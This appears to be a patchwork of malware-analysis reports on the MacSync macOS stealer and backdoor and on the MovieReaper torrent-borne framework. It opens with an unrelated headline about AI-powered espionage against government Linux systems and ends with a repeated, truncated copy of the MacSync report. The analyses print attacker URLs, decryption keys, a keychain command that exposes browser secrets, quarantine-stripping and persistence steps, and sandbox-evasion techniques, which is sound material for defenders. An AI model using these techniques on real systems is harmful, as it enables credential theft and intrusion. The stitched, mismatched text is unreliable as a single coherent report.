Our analysis an AI-powered espionage campaign targeting government Linux infrastructure with custom malware, web shells, and advanced credential theft.

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MacSync is a relatively young, rapidly evolving family of crypto/info stealers. First advertised on the dark web in 2025 as Mac.c, the stealer was later renamed to MacSync by its creators. The initial versions were implemented as AppleScripts and closely resembled the AMOS stealer family, but over time, MacSync developed distinctive features of its own, including a backdoor module. In this report, we discuss a new infection chain that differs significantly from previous variants. We first spotted it in the wild in September 2026.

Key points:

• The developers of this family have overhauled their approach to payload delivery by replacing script-based droppers with binary ones.
• The main malicious payload now consists of modules written in Objective-C and Swift.
• At one stage of infection, the attackers use iCloud to deliver the next

Kaspersky solutions detect the threats described below under the following verdicts:

• HEUR:Trojan.OSX.MacSync.*
• HEUR:Trojan-PSW.OSX.MacSync.*
• HEUR:Trojan-Dropper.OSX.MacSync.*
• HEUR:Trojan-Downloader.OSX.MacSync.*

Technical details

Infection chain

MacSync is an infostealer distributed under the malware-as-a-service (MaaS) model, so the specific delivery method for the first stage of the infection chain is up to the operators. Recent public reports on MacSync have mostly focused on modules delivered through social engineering and ClickFix-style attacks. However, both then and now, the malware has also spread disguised as free or cracked versions of popular applications, as well as under the guise of new software. For example, we found MacSync masquerading as a nonexistent crypto wallet app called Toria; the attackers not only created a dedicated web page for it but also promoted it on X and Telegram:

The latest version of the infostealer we discovered starts the infection chain with malicious DMG images. Even within a single campaign built around one fake application, we found two different ways the infostealer and backdoor modules were delivered to the victim’s device. In one, the payload inside the DMG was a compiled JXA script that, once launched, decoded a shell script and passed it directly to the interpreter without writing it to disk. In the other version of the application, the same script appeared at a later stage of infection, after a chain of droppers and loaders had run. We’ll take a look at the second infection chain in detail, since it is more complex and technically interesting. The infection scheme is shown below:

It’s worth noting right away that MacSync shows shared traits at almost every stage:

• All temporary files are placed in the /tmp directory. The same directory is where *.lock files are created to prevent the malware from running again.
• Once its task is complete, the module removes traces of its activity: temporary files, its own logs, and so on.
• All binary files are in the FAT Mach-O format and target devices with both Apple and Intel processors.

Loader, Calendar, and Two Simple Droppers

In this infection chain, the payload on the disk image is an .APP application. When started, it first checks whether the whole bundle has the com.apple.quarantine extended quarantine attribute, and if it finds one, it runs the xattr -cr <app_name> command to remove all attributes. Next, it extracts an XOR-encrypted URL from its overlay and decrypts it with the key 73 6f 6e 6f 6d 61 62 6c 64 07. After the encrypted data, there are 8 bytes indicating the length of the ciphertext, followed by the magic word SONOMAC1. It’s worth noting that the malware reads the overlay backwards: it first locates the magic word, then reads the data size, and then uses the size to determine the boundaries of the data block containing the ciphertext.

The resulting URL is a link to the next-stage downloader script. In some cases, this link pointed directly to a file hosted on an attacker-controlled server; however, in at least one sample, the link pointed to a public iCloud calendar:

hxxp://caldav.icloud[.]com/published/2/MTk1NDMwMDMzNTUxOTU0M1aHCZ-nMxiyGzBTzPiodOf44DtKJ6PpjftAG28_ui2NCYMpL_vu4pF4ddsJ8ysg0QI7pR0VEIEbZYdilVZRw08

After retrieving the calendar file from the server, the downloader creates an anonymous pipe, launches the interpreter to read commands from standard input (zsh -s), sets the pipe as standard input, and redirects the contents of the calendar into it line by line. Since a calendar is normally not a command, the interpreter treats the lines as invalid commands until it reaches the malicious payload after the DESCRIPTION: line. These commands ultimately download a .TAR.GZ archive from iCloud that contains an .APP bundle. The downloader removes the quarantine attribute from it, signs it with an ad-hoc signature, and executes it.

We don’t know the contents of the scripts distributed from the attacker’s server, but they are very likely the same script found in the calendar event description.

The downloaded application is a dropper. The malicious payload it extracts is a zlib-compressed executable encrypted with AES in CBC mode, using the following key and initialization vector:

cb09ff86cabde4f8cee2d3cdec370c623bfa6c2b72ae9750fc9a7b299c65d7ca
3a1af2b397c6958e6c3ba3c75912d60e

The dropper decrypts and unpacks it, then places it at /tmp/.sys-<16-digit random value>.

Inside is another dropper, but unlike the previous stages, this one includes anti-debugging protection. In particular, it checks whether it’s running on a virtual machine by making sysctl queries with the kern.hv_vmm_present and machdep.cpu.brand_string parameters. It also sets the PT_DENY_ATTACH flag with ptrace to prevent a debugger from attaching to the process. The payload is a shell script encrypted with AES in CBC mode, using the following key and initialization vector:

3744f975113dfc552df982dcae699f9154a448e05a743bdfb641a463352bc13a
8d371f8a7a6dcc2655544ae13cbca03d

As shown in the screenshot above, the second dropper delivers a downloader script that retrieves the next-stage payload from the command-and-control server, decrypts it with AES in CBC mode using the following key and initialization vector, and then executes it in memory:

ff664112d3215c5d184689fc836e0dc6c1a47e42c34e70b2c3d356864bc4cb4c
09425f72de8bba18893dcd6f04115891

A couple more scripts

Inside the retrieved script, we can immediately spot several familiar indicators associated with the MacSync malware family:

• The main function in the script is named daemon_function.
• The stolen data is uploaded to the command-and-control server via PUT requests. The data in the requests is sent in 90-megabyte chunks. In earlier versions, the chunk sizes differed.
• One way to establish persistence on a system it uses is to inject a malicious command into the .ZSHRC, the configuration file for the ZSH interpreter, which contains commands that run each time the interpreter starts.
• The URL path where the backdoor executable is stored on the command-and-control server begins with the /loader/ directory.

The script performs the following tasks:

• Downloading and decrypting additional malicious modules: an infostealer, a backdoor, and a special utility for generating encryption keys and decrypting downloaded executable files
• Gaining persistence on the system
• Uploading data received from the infostealer module to the command-and-control server

One detail stands out: instead of the usual encryption algorithms (XOR, AES, and so on), the attackers took a different approach to delivering malicious modules at this stage. It involves a selfmade utility called pkgunpack that implements two commands: genkey and decrypt. The malicious payload is decrypted as follows:

1. The malware generates a public and private encryption key pair using genkey command from pkgunpack, whose generation function relies on an open implementation of the elliptic-curve Diffie-Hellman protocol on Curve25519: curve25519_donna.
2. The public key is encoded in base64 and sent to the command-and-control server together with a one-time code generated by the command $(date +%s)-${RANDOM}-$$.
3. The server responds with the following JSON:
   

   {
       "ok": true,
       "dek_wrap_b64":  <base64_encoded_encrypted_key> ,
       "build_pub_b64": "pFSxn/Uwg9bS45aVKCzA+8exSMfDHXpbpHC/f7G472w=",
       "crypto": "v2.5"
   }

   
   Here, build_pub_b64 is the server’s public key, which is also predefined in the script itself, and dek_wrap_b64 is a base64-encoded string that contains the payload encryption key. This key is encrypted on the server side with a shared secret computed from the public key generated with pkgunpack on the victim’s device.
4. Then decrypt command from pkgunpack utility decrypts the key:
   1. A shared secret is computed from the server’s known public key and the private key for the current session, using the same ECDH Curve25519 key exchange scheme that was used to generate the keys.
   2. The resulting shared secret is concatenated with the string sn-dek-wrap-v1, and a SHA-256 hash is computed from the result.
   3. Next, the dek_wrap_b64 block received from the server is decoded. It has the following structure:
      1. The first 5 bytes: additional authenticated data (AAD)
      2. The next 12 bytes: the initialization vector (IV)
      3. The rest: the ciphertext
   4. The ciphertext is decrypted with AES in GCM mode using the previously obtained key, IV, and AAD.
      

      Decoded dek_wrap_b64

5. The result is the key for decrypting the downloaded malicious payload. The payload, in turn, also contains an AAD and an IV in its header and is encrypted with AES GCM. The utility decrypts it and terminates.

Note that at each individual stage, the utility zeros out buffers after using encryption keys and data, apparently to impede forensic data collection and dynamic analysis of samples.

As mentioned earlier, at this stage, the script downloads only two modules: an infostealer and a backdoor. Once decrypted, both are .TAR.GZ archives; their contents are extracted, stripped of all extended attributes (such as com.apple.quarantine), and signed with an ad-hoc signature. The infostealer module runs first: it collects the data it needs, places it in a temporary folder, and compresses it into a .TAR.GZ archive, which the script then sends to the attackers’ server. Next, before launching the backdoor, the script sets up persistence for it and creates a backup copy. The backup copy, along with the other files it needs to operate, is placed in $HOME/Library/Application Support/System. This directory doesn’t exist in macOS by default; the script creates it. The backdoor disguises itself as the Finder application and achieves persistence in the system through the following methods:

• A LaunchAgent named com.apple.finder.agent
• Injection of a command that runs the .repair-run script when the ZSH interpreter starts from the .ZSHRC
• Injection of a similar command, which also runs the .repair-run script, into the global GIT pre-commit and post-checkout hooks

The .repair-run script checks whether the backdoor files exist, restores them from a backup if they are missing, and re-creates and reloads the LaunchAgent. At the same time, it kills the BTMNotificationAgent, NotificationCenter, and BackgroundTaskManagementAgent system processes to prevent the system from notifying the user about the new LaunchAgent.

One last thing worth noting about the script at this stage is its use of a custom HTTP header, X-Upload-Token, without which the C2 server responds to requests with errors. During our research, we observed the use of the following tokens: b8b4b88205a8f594b95a841bc37342898f34cad8a5a9e4a22ce69a31a1208650 and ff3ab9ef841630364818396f62e696b72aed162cf0b895b6643ef25dad79b51d. The backdoor later uses these same tokens to communicate with the C2 server.

Infostealer

The infostealer module ships as an .APP application, with its main executable written in Swift. As with previous AppleScript-based versions, the malware first asks the user for the administrator password. It adapts the window it displays to match the application it is impersonating. After the password is entered, the user sees a window that imitates a system notification about a corrupted application, offering to move it to the trash.

Interestingly, instead of the method most macOS malware families use to verify a password, the dscl utility, the attackers used the Pluggable Authentication Modules (PAM) API. This is a fairly new technique for macOS malware, first observed in the wild in July 2026 in the Pam Stealer family. It apparently caught the attention of malware authors, and we may see it used more often going forward.

Many strings in the stealer (file names, directory names, team IDs, and so on) are XOR-encrypted and stored in static arrays. The encryption keys differ between samples and are generated based on the ciphertext length.

The set of data the stealer collects has expanded slightly compared to previous versions. The generalized list is as follows:

• Browser data: browsing history, cookies, crypto wallet extension data, saved logins and passwords, and Local State files
• Crypto wallet application data
• Telegram data
• Device login and password
• Keychain file
• System information: list of installed applications and running processes, device model, hardware, UUID, and so on
• Configuration files for SSH, ZSH, AWS, Kubernetes, GIT, and other services/programs
• ZSH and Bash command history
• Current user profile picture

The collected data is saved to a hidden directory in /tmp/.

The stealer module also has one interesting feature, disabled in all samples discovered so far and apparently still in development. Its purpose is to check whether the malicious application’s resources contain a file called KcHelper at <app_path>/Contents/Resources/Helpers, and, if the file is present, launch it with certain parameters. If this file is missing, a fallback function, _kc_grab_storage_item, is executed instead. Since KcHelper was not present among the application’s resources at the time of our research, we can only speculate about its purpose based on our analysis of this function. It first runs a command that modifies the partition_id of the keychain entry for a specific service so that three categories of applications can access it without user confirmation and without the keychain password:

• teamid: the application is signed with a certificate that has a specific teamID (in this case, the target application’s developer)
• apple: the application is an Apple service
• apple-tool: the application is an Apple command-line utility

security set-generic-password-partition-list -a <account_name> -s <service_name> -S <application_groups> -k <keychain_password> <keychain_path>

The stealer then uses the Security.framework API to try and retrieve the secret’s contents on its own, which still ends up triggering a confirmation request for the operation. It appears the threat actors plan to refine this feature in the future to gain unimpeded access to secrets even if the keychain password changes, but at this point, they haven’t managed to do so, which is why the feature is disabled. In the stealer’s encrypted strings, we saw examples of arguments for the command that modifies partition_id, which indicate that the attackers are after browser secrets. Example:

Chrome Safe Storage|Chrome|ChromeStorage|apple-tool:,apple:,teamid:EQHXZ8M8AV
Brave Safe Storage|Brave|BraveStorage|apple-tool:,apple:,teamid:KL8N8XSYF4

Backdoor

The backdoor is a Fat Mach-O executable written in Objective-C. It has two launch modes: a regular one and one with the --persist-status flag. In the second mode, it only checks how it was added to the persistence objects: as a Login Item or as a LaunchAgent. In standard mode, before proceeding to its main functionality, the backdoor also checks whether it has been added to autorun in any way. If not, it uses the same persistence mechanism as the parent script. However, for macOS versions older than 13.0, a separate helper executable stored inside the backdoor’s body is used regardless of whether autorun objects are present. The helper performs a single task: it uses the CoreServices.framework API to add the executable file passed to it as an argument to the Login Items.

As with the droppers from the early stages of the infection chain, the configuration for communicating with the C2 is stored in the executable’s overlay and encrypted with XOR using the same key. It consists of several strings separated by null bytes:

• AGNT1: a magic constant confirming that the configuration was decrypted correctly
• C2 server URL
• Access token: the same one used in the parent script
• BLD-150: the backdoor build number

The malware also writes logs to $HOME/Library/Logs/.sysnotif-agent.log and supports extended logging when launched with the LAUNCHER_DEBUG environment variable. Communication with the C2 takes place over HTTP. The server’s response should be a JSON file.

Method	URL path	Request parameters	Description
GET	/v1/agent/ping	tag: the victim’s unique ID combined with the backdoor build number build: backdoor build number	Used to receive a command. The response is expected to contain a cmd field with the command to execute. If a 403 error is received, meaning the access token has expired, the backdoor tries to refresh it with a request to /v1/agent/refresh.
POST	/v1/agent/refresh	tag build old_token: previous token	The response is expected to contain an upload_token field, whose value becomes the new token.
POST	/v1/asset/<upload_id>/init	upload_id: an identifier for the object being uploaded, generated randomly based on a timestamp, the process ID, and a random four-byte number	Used to create a file on the server, into which the file from the victim’s device is later uploaded in parts. When the file is created, its size is passed in the X-File-Size header, and its SHA-256 hash is passed in X-File-Sha256.
PUT	/v1/asset/<upload_id>		The request that actually uploads the file to the server.
POST	/v1/agent/<command_status>	command_status: a status unique to the commands the agent executes tag upload_id: the ID of the file uploaded to the server (if any) phase: information about the command being executed or its stage message: a message active: command in-progress flag (true = still running; false = finished)	This URL endpoint is accessed at various stages of the backdoor’s operation. Information about command execution status serves as a telemetry source for the attackers.

Although the backdoor offers several different commands, they all boil down to the same action: extract the base64-encoded AppleScript script from the script_b64 field in the server’s response and execute it. Individual command handlers then act as wrappers around the scripts, correctly populating telemetry and sending requests to the C2 server. Based on the command names and the messages sent to the server during their execution, we can reconstruct their purpose without having the scripts on hand. The backdoor supports the following commands:

• deploy_ext: deploy an extension downloaded from the server into the victim’s browser.
• deploy_ledger: replace the installed Ledger wallet with the version from the server.
• regrab: collect system information and/or specific files again. This time, the collected data is packaged into an archive typical for the MacSync family, at /tmp/osalogging.zip, unless a different path is specified in the archive_path field sent along with the command.
• live_browser: the only command executed without an AppleScript script. The backdoor checks for the presence of the sn_relay file among its resources, and if it’s not found, downloads and executes it. Its content and purpose remain a mystery to us, but based on the command name and the messages sent to the server, we can assume that the attackers somehow implement a MitM attack on traffic originating from the victim’s browser.

Takeaways

The new version of the MacSync infostealer differs quite significantly from its previously observed variants. The attackers have substantially overhauled their approach to executing the stealer’s and backdoor’s main malicious payload, moving from AppleScripts to full-fledged executable files written in Swift and Objective-C. It’s also worth noting the more complex infection chain: instead of obfuscated shell scripts delivered through ClickFix attacks, this version used binary droppers and loaders, some of which leveraged Apple’s infrastructure as one of the intermediate stages for delivering the malicious payload.

The nature of the data attackers seek to collect from a victim’s device, as well as the categories of applications the stealer disguises itself as, clearly indicates that this malware family primarily targets developers, crypto enthusiasts, and other users associated in some way with IT and the crypto space. MacSync’s compromise of software developers’ devices poses particular security risks for both end users and corporate systems, opening up expanded opportunities for attackers to further their intrusion.

Indicators of compromise

Stage one loader
26a0f7cdb9f7dc5ace9a40af825b1538
2d69812584269699fade26622e6490c5
7df1049cbd56c0bfa4a3364a379b4c2c
9f15fe9c4415cd668334339f705b94d8
fb90887592655a8c989e443c640167aa
6791dad263cac6d63ebba6a4b57e7d71

Malicious calendar (stage two)
3ded1d71a822b53b12c3b67bcaf633f5

Stage three dropper
781ce50001d4b449600afa347c9b0208
8e84b01d5ac9624f0b181ade0e737193
980e2134679bc0c609f7659882883d77
4203ec932bfcc0907f91732440d6d997
eb760d5c88f13f7ee0f8f86ba3407123
f9f70096aabb4d22a6657014f4853a53

Stage four dropper
3deeed48fd38f22e369f5c3092bd68a1

Stage five script
f97d24212fa6a21be0c4d211e10f044c

Stage six script
00d12d842596bf5ee1805effb4571d30
9a0043d900a9ac78c886c59c9a328fd0

Auxiliary .repair-run script
7212229c85852c3bffaf9740002b2f39

Infostealer
c53d0ea45dbc622afb7f16ea3eec78bc

Backdoor
fc3ba5ed282d77127efd0b0f2403531b

Auxiliary autorun tool
8dc8561349d144d4661bc66f2ec49f9f

URL
hxxps://toria[.]app/
hxxps://warpcast[.]asia/Toria.dmg
hxxps://streamyard.appstore.com[.]mx/installer.sh
hxxps://slack.apple03cloudstore[.]com/installer.sh
hxxps://toria.apple03cloudstore[.]com/
hxxps://waaako.appstore.com[.]mx/installer.sh
hxxps://toria.apple03cloudstore[.]com/e3c1a6b00bc31e14/stage2.enc hxxps://docsend.appstore.com[.]mx/dcc737d157ef4271/stage2.enc
hxxps://docsend.appstore.com[.]mx/dcc737d157ef4271/CoreUpdate.pkg.enc
hxxps://docsend.appstore.com[.]mx/dcc737d157ef4271/Helper.pkg.enc
hxxps://caldav.icloud[.]com/published/2/MTk1NDMwMDMzNTUxOTU0M1aHCZ-nMxiyGzBTzPiodOf44DtKJ6PpjftAG28_ui2NCYMpL_vu4pF4ddsJ8ysg0QI7pR0VEIEbZYdilVZRw08
hxxps://gateway.icloud[.]com/caldav/1_MTk1NDMwMDMzNTUxOTU0M0pybtJB186GzhogprwCQUjY3oZNiDFHH8WVo6bmgUtI/attach/4GE4TKNBTGAYDGMZVGUYTSNJUGOAALDAFMDOJBGWNUCYJLZRNDCLCO2YMQ3I64RLGMNXVG3KYBPWQOGYIEI7MPBDDYHECFDYVENTXIYFNDCPOVRMCTYI236RCYZAE63V5U3RTUYGUMO2CO7PKCLWMCXE73M7OPTHSGRWH5DXQ4PCUQU4ELZTLW54JSTK2H7VQ6PD26WOA2R7PPIQ6RTJWDEWP34U3HB4YWMXXC6EJ6PKWILSPYRSDEVY6QGMWSIUN6PR5W35KO3D4QZE7CFPUVBAEKI/Loader.app.tar.gz/YXR0YWNoYXR0YWNoYXR0YRhrE8mQ0E-b_dTUSGStQgTQ0ULFxCanei3Ke-EuEyQL

C2
hxxps://docsend.appstore[.]com[.]mx
hxxps://toria.apple03cloudstore[.]com

Introduction

Torrent trackers have long been abused for distributing malicious software, disguised as popular films, games, and other content. Our previous research has shown that cybercriminals repeatedly turn to torrents as an initial infection vector, using trojanized cracks and installers to reach a large number of users. Installation guides for pirated software routinely instruct users to disable their antivirus, conditioning them to ignore the potential threats they are inviting onto their computers.

During our analysis of malware that leverages blockchain networks for its C2 infrastructure, we discovered a previously unknown modular, multi-stage framework that we dubbed MovieReaper. This report details the new crimeware campaign that began with the mass infection of users via compromised torrent tracker file storage. We have identified several hundred victims, including both individual users and organizations in multiple countries, such as Russia, Türkiye, Japan, Kenya, Uganda, and Colombia, as well as in several European countries like Spain, the Netherlands, Belgium, and Germany. We analyze the techniques for evading detection by security and sandbox solutions, and examine the capabilities of the modular framework.

Kaspersky products detect this threat as HEUR:Trojan.Win64.Agent.gen.

Technical details

Background

In mid‑August 2026, during our threat‑hunting efforts, we identified a large‑scale infection campaign involving previously unknown malware disguised as popular movies. The campaign affected both individuals and organizations across multiple countries. Our initial analysis revealed a common denominator: all of the victims had used torrent trackers. This finding prompted us to investigate the campaign further and analyze its distribution mechanism, overall scope, and unknown malware implants.

Initial infection and spread

Compromised torrent trackers are the primary vector used to distribute malware. During our investigation, we identified multiple user reports describing suspicious files being downloaded instead of the intended content.

For example, a user of a popular movie torrent tracker reported the following case on Reddit:

Further analysis of the attack revealed that instead of compromising torrent trackers, the threat actor modified a widely used public repository of torrent files, itorrents[.]org. As a result, the trackers that relied on the repository began inadvertently distributing malicious torrent files to their users. This approach is particularly dangerous because it lets the threat actor reach users of multiple trackers without having to compromise each platform individually.

As of the publication date of this report, the archive remains compromised. When a user attempts to download a torrent via a magnet link, the legitimate torrent archive returns a different torrent file. This malicious torrent leads to the download of the malware loader, used to deploy a framework that we dubbed MovieReaper.

The loader initiates the infection chain shown in the diagram below. Each stage of the chain is described in detail in the following sections.

Malware implants

The infection chain consists of several steps, where only the initial one is dropped on the disk before it is executed to avoid detection. The malware itself is not heavily obfuscated, apart from strings being encrypted with a custom stream cipher. Most of the countermeasures were aimed at avoiding detection by AV sandboxes.

Step 1: Loader

The most popular initial executable was distributed through torrent trackers under many different names (for example, the odyssey (2026) [1080p] [webrip] [5.1].exe), but the file hash (MD5: A0B13781EDD7CFDAB13D79AFFF3C83C1) was identical across all downloads. We have seen multiple different loaders, where the executable file disguises itself with a long filename and an icon of some well-known application. Most of the filenames are rather long, presumably to hide the EXE extension at the end.

After the user manually starts the application, it establishes a global mutex to ensure that only one loader is executed at a time. We have seen several mutex variations in our samples, containing a randomly generated string (in the example Global\fnulSktzSqvVLXHU). This executable then performs a series of operations in order to avoid detection by AV sandbox solutions.

While performing those operations, the malware avoids making LoadLibrary and GetProcAddress calls to acquire the addresses of required functions. Instead, it searches for loaded libraries by traversing the double-linked list taken from the Ldr field of the PEB and then performs manual parsing of the loaded DLL to calculate the function address.

After all initial checks have passed, the binary prepares to establish a network connection to a C2 web server to download the shellcode, map it to the RWX memory and execute. While doing so, the loader decodes the domain name https://deadhub[.]org and if connection to it has failed, it uses the IP address http://193.23.118[.]155 as a fallback and connects to it using plain HTTP. The malware chooses a random group of strings and uses them as a path in the HTTP request to download the parts of the shellcode.

Example URLs:

/cloud/v192.4/ui/sync-status-icons.png
/cloud/v192.4/onboarding/welcome-bg.jpg
/cloud/v192.4/ui/file-preview-placeholder.png
/cloud/v192.4/shared/link-banner.jpg

While mapping the address space and executing the shellcode, the loader registers a vectored exception handler and rewrites the handler address in memory in order to perform a debug break. This, will not crash the program, but instead redirect controlflow to the function that actually makes a raw NtProtectVirtualMemory syscall (via a previously located “0x0F 0x05” syscall instruction inside ntdll). Then it calls the undocumented ntdll function EtwpCreateEtwThread, which is a popular alternative to  CreateThread for code executionm, and executes the shellcode.

Step 2: Shellcode

The second stage of this malware performs an HTTPS request to the Solana blockchain at the endpoint /getAccountInfo endpoint for the account 6pnDGAiHgyPdmckM5Qt1YbanGzrX43WLEU159nRaNLDm. The data in field of the response contains the base64‑encoded address of a second C2, which is encrypted with a static XOR key located within the shellcode itself. To store data in this account, attackers used a simple Solana program (address: CSiY8bQLBYPdfPWkwipBzH6sijTVQVVsA279JQdvwHtL).

Utilizing the Solana blockchain as a storage layer for next-stage C2 endpoints substantially complicates infrastructure takedown efforts by defenders.

The second stage payload communicates with its C2 server strictly through HTTPS via a TLS-pinned certificate using the nanopb protobuf library as a container for transferred data. The main logic of the stage 2 implant contains several initial commands, where the most important is the one that parses the COFF file, loads it into memory, and executes the module_init function from it. This provides a convenient interface for extension of the command list, which brings us to the next stage of the payload.

Step 3: UAC Bypass and persistence

Notably, the recovered modules were compiled with symbols, which accelerated reverse engineering.

After receiving the next stage from the second C2 server, the newly loaded module performs several tasks right in the module_init function.

Stage 3 performs UAC Bypass and achieves persistence using public techniques, masquerades the original binary as C:\ProgramData\Microsoft\Windows\Telemetry\msedge.exe, and restarts itself.

The respawned process starts with the initial loader, but with a special command-line argument, which allows it to skip most of the anti-sandboxing checks and proceed straight to downloading the next payload. The executable proceeds with the same steps as before, but this time, instead of downloading the persistence and UAC bypass module, a new one is downloaded from the second C2 server. This is because the malware uses the beacon to send a flag to the remote server, indicating whether the implant is running from the Telemetry folder, which allows the C2 to distinguish between first-run and respawned instances.

Step 4: The final implant

The final module (“file manager”) exposes 21 commands that give the operator filesystem access on the victim host. This allows remote the operator to download, upload, and read files on the system; list and enumerate directories; manipulate files with create, copy, rename, move, delete, chmod, and symlink commands; and use preview and thumbnail commands to exfiltrate previews of images and files before actually extracting them.

We suspect that other modules may be loaded on demand if requested by the operator.

Infrastructure

During this malware campaign, attackers are using various commercial hosting providers for their C2 infrastructure (see the IoC section for details). Furthermore, as noted above, the campaign leverages the legitimate Solana blockchain via the RPC endpoint api.mainnet.solana.com to deliver the address of the second‑stage C2 server to the malware. This approach provides the attackers with decentralized storage for C2 addresses, adding an additional layer of resilience and making it more difficult for defenders to disrupt the campaign by simply blocking the IP addresses of the C2 servers.

Victims

The observed campaign targeted both individuals and organizations across Europe, Asia, Africa, and Latin America, with infection attempts identified in Russia, Spain, Germany, Finland, Türkiye, Japan, Nepal, Kenya, Tanzania, Ghana, Uganda, Colombia, the Netherlands, Belgium, and other countries. The targeted organizations span a wide range of sectors, including enterprise, government, IT, consulting, retail, transportation, and agriculture.

Conclusions

Our research uncovered activity by the same actor dating back to October 2025. Although the campaign has evolved over time, with the malware authors expanding their arsenal and making the loader harder to detect, the pattern remains the same. This includes encoded strings, parts of shellcode downloaded through plain HTTP, and several techniques used to avoid sandboxes and virtual machines. We will continue monitoring this actor’s activity to catch new potential threats.

The first stage offers the clearest opportunity to disrupt this campaign: it relies on a single specific domain name and a single IP address to serve the shellcode, so taking down this server would prevent subsequent infection stages. This includes the second-stage payload, which uses the Solana blockchain network for a C2 and is therefore more resistant to conventional infrastructure takedowns.

However, this framework’s self-containment, modularity and in-memory execution has potential for reuse in later campaigns with minimal rework.

Indicators of compromise

File hashes

4334BBAEA8DE33BF9D45E9B4E4E3BC2
4843F9FAFCAE492F11E2D4D33DBB4CDD
5310CABAE3FBE6DB8742849B588093F9
A0B13781EDD7CFDAB13D79AFFF3C83C1
70060341CAF3338697A7DDFE0FB62875
AD4643EEA15AC286FA47D1131F9EF756
D0B967571AC8A3863C7F324BF5BDE99C
D88D550D0FB8E60CFFFF3EA61FF7A067

File paths

%ProgramData%\Microsoft\Windows\Telemetry\msedge.exe

Mutexes

Global\E4AyDKzvEhe2hgAr
Global\fnulSktzSqvVLXHU

Domains and IPs

First-stage C2:
deadhub[.]org
193.23.118[.]155

Second-stage C2:
208.64.33[.]90
208.94.246[.]53

MacSync is a relatively young, rapidly evolving family of crypto/info stealers. First advertised on the dark web in 2025 as Mac.c, the stealer was later renamed to MacSync by its creators. The initial versions were implemented as AppleScripts and closely resembled the AMOS stealer family, but over time, MacSync developed distinctive features of its own, including a backdoor module. In this report, we discuss a new infection chain that differs significantly from previous variants. We first spotted it in the wild in September 2026.

Key points:

• The developers of this family have overhauled their approach to payload delivery by replacing script-based droppers with binary ones.
• The main malicious payload now consists of modules written in Objective-C and Swift.
• At one stage of infection, the attackers use iCloud to deliver the next

Kaspersky solutions detect the threats described below under the following verdicts:

• HEUR:Trojan.OSX.MacSync.*
• HEUR:Trojan-PSW.OSX.MacSync.*
• HEUR:Trojan-Dropper.OSX.MacSync.*
• HEUR:Trojan-Downloader.OSX.MacSync.*

Technical details

Infection chain

MacSync is an infostealer distributed under the malware-as-a-service (MaaS) model, so the specific delivery method for the first stage of the infection chain is up to the operators. Recent public reports on MacSync have mostly focused on modules delivered through social engineering and ClickFix-style attacks. However, both then and now, the malware has also spread disguised as free or cracked versions of popular applications, as well as under the guise of new software. For example, we found MacSync masquerading as a nonexistent crypto wallet app called Toria; the attackers not only created a dedicated web page for it but also promoted it on X and Telegram:

The latest version of the infostealer we discovered starts the infection chain with malicious DMG images. Even within a single campaign built around one fake application, we found two different ways the infostealer and backdoor modules were delivered to the victim’s device. In one, the payload inside the DMG was a compiled JXA script that, once launched, decoded a shell script and passed it directly to the interpreter without writing it to disk. In the other version of the application, the same script appeared at a later stage of infection, after a chain of droppers and loaders had run. We’ll take a look at the second infection chain in detail, since it is more complex and technically interesting. The infection scheme is shown below:

It’s worth noting right away that MacSync shows shared traits at almost every stage:

• All temporary files are placed in the /tmp directory. The same directory is where *.lock files are created to prevent the malware from running again.
• Once its task is complete, the module removes traces of its activity: temporary files, its own logs, and so on.
• All binary files are in the FAT Mach-O format and target devices with both Apple and Intel processors.

Loader, Calendar, and Two Simple Droppers

In this infection chain, the payload on the disk image is an .APP application. When started, it first checks whether the whole bundle has the com.apple.quarantine extended quarantine attribute, and if it finds one, it runs the xattr -cr <app_name> command to remove all attributes. Next, it extracts an XOR-encrypted URL from its overlay and decrypts it with the key 73 6f 6e 6f 6d 61 62 6c 64 07. After the encrypted data, there are 8 bytes indicating the length of the ciphertext, followed by the magic word SONOMAC1. It’s worth noting that the malware reads the overlay backwards: it first locates the magic word, then reads the data size, and then uses the size to determine the boundaries of the data block containing the ciphertext.

The resulting URL is a link to the next-stage downloader script. In some cases, this link pointed directly to a file hosted on an attacker-controlled server; however, in at least one sample, the link pointed to a public iCloud calendar:

hxxp://caldav.icloud[.]com/published/2/MTk1NDMwMDMzNTUxOTU0M1aHCZ-nMxiyGzBTzPiodOf44DtKJ6PpjftAG28_ui2NCYMpL_vu4pF4ddsJ8ysg0QI7pR0VEIEbZYdilVZRw08

After retrieving the calendar file from the server, the downloader creates an anonymous pipe, launches the interpreter to read commands from standard input (zsh -s), sets the pipe as standard input, and redirects the contents of the calendar into it line by line. Since a calendar is normally not a command, the interpreter treats the lines as invalid commands until it reaches the malicious payload after the DESCRIPTION: line. These commands ultimately download a .TAR.GZ archive from iCloud that contains an .APP bundle. The downloader removes the quarantine attribute from it, signs it with an ad-hoc signature, and executes it.

We don’t know the contents of the scripts distributed from the attacker’s server, but they are very likely the same script found in the calendar event description.

The downloaded application is a dropper. The malicious payload it extracts is a zlib-compressed executable encrypted with AES in CBC mode, using the following key and initialization vector:

cb09ff86cabde4f8cee2d3cdec370c623bfa6c2b72ae9750fc9a7b299c65d7ca
3a1af2b397c6958e6c3ba3c75912d60e

The dropper decrypts and unpacks it, then places it at /tmp/.sys-<16-digit random value>.

Inside is another dropper, but unlike the previous stages, this one includes anti-debugging protection. In particular, it checks whether it’s running on a virtual machine by making sysctl queries with the kern.hv_vmm_present and machdep.cpu.brand_string parameters. It also sets the PT_DENY_ATTACH flag with ptrace to prevent a debugger from attaching to the process. The payload is a shell script encrypted with AES in CBC mode, using the following key and initialization vector:

3744f975113dfc552df982dcae699f9154a448e05a743bdfb641a463352bc13a
8d371f8a7a6dcc2655544ae13cbca03d

As shown in the screenshot above, the second dropper delivers a downloader script that retrieves the next-stage payload from the command-and-control server, decrypts it with AES in CBC mode using the following key and initialization vector, and then executes it in memory:

ff664112d3215c5d184689fc836e0dc6c1a47e42c34e70b2c3d356864bc4cb4c
09425f72de8bba18893dcd6f04115891

A couple more scripts

Inside the retrieved script, we can immediately spot several familiar indicators associated with the MacSync malware family:

• The main function in the script is named daemon_function.
• The stolen data is uploaded to the command-and-control server via PUT requests. The data in the requests is sent in 90-megabyte chunks. In earlier versions, the chunk sizes differed.
• One way to establish persistence on a system it uses is to inject a malicious command into the .ZSHRC, the configuration file for the ZSH interpreter, which contains commands that run each time the interpreter starts.
• The URL path where the backdoor executable is stored on the command-and-control server begins with the /loader/ directory.

The script performs the following tasks:

• Downloading and decrypting additional malicious modules: an infostealer, a backdoor, and a special utility for generating encryption keys and decrypting downloaded executable files
• Gaining persistence on the system
• Uploading data received from the infostealer module to the command-and-control server

